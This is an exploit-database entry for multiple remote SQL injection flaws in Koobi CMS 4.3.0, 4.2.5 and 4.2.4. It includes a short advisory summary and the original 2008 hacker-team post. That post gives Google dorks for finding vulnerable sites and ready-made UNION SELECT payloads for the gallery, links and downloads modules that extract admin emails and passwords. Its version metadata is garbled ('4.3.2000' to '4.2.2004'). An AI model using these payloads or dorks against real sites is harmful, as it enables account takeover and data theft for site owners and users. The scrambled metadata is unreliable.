Koobi CMS 4.3.0, 4.2.5, 4.2.4 Multiple Remote SQL Injection

vendor:

Koobi CMS

by:

JosS

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Koobi CMS

Affected Version From: 4.3.2000

Affected Version To: 4.2.2004

Patch Exists: YES

Related CWE: N/A

CPE: a:dream4:koobi_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Koobi CMS 4.3.0, 4.2.5, 4.2.4 Multiple Remote SQL Injection

Koobi CMS versions 4.3.0, 4.2.5, and 4.2.4 are vulnerable to multiple remote SQL injection attacks. An attacker can exploit this vulnerability to gain access to the admin data, such as email and password, by sending a malicious SQL query to the vulnerable parameter. The vulnerable parameters are 'galid' in the 'gallery' module, 'categ' in the 'links' and 'downloads' modules.

Mitigation:

Upgrade to the latest version of Koobi CMS.

Source

Exploit-DB raw data:

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+             Koobi CMS 4.3.0, 4.2.5, 4.2.4 Multiple Remote SQL Injection            +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Koobi CMS 4.3.0, 4.2.5, 4.2.4
[~] HomePage: http://www.dream4.de/
[~] Exploit: Remote SQL Injection [High]
[~] Where: index.php
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com

[+] Dorks:

[~] Koobi CMS 4.3.0: "powered by koobi-cms 4.3.0"
[~] Koobi CMS 4.2.5: "powered by koobi-cms 4.2.5"
[~] Koobi CMS 4.2.4: "powered by koobi-cms 4.2.4"

[+] Exploits for 4.3.0:

[~] Module: gallery
[~] /index.php?area=1&p=gallery&action=showimages&galid=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[~] Module: downloads
[~] /index.php?showfile=1&fid=31&p=downloads&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[+] Exploits for 4.2.5:

[~] Module: links
[~] /index.php?showlink=1&fid=1&p=links&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[~] Module: downloads
[~] /index.php?showfile=1&fid=1&p=downloads&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[+] Exploits for 4.2.4:

[~] Module: downloads
[~] /index.php?showfile=1&fid=31&p=downloads&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-04-14]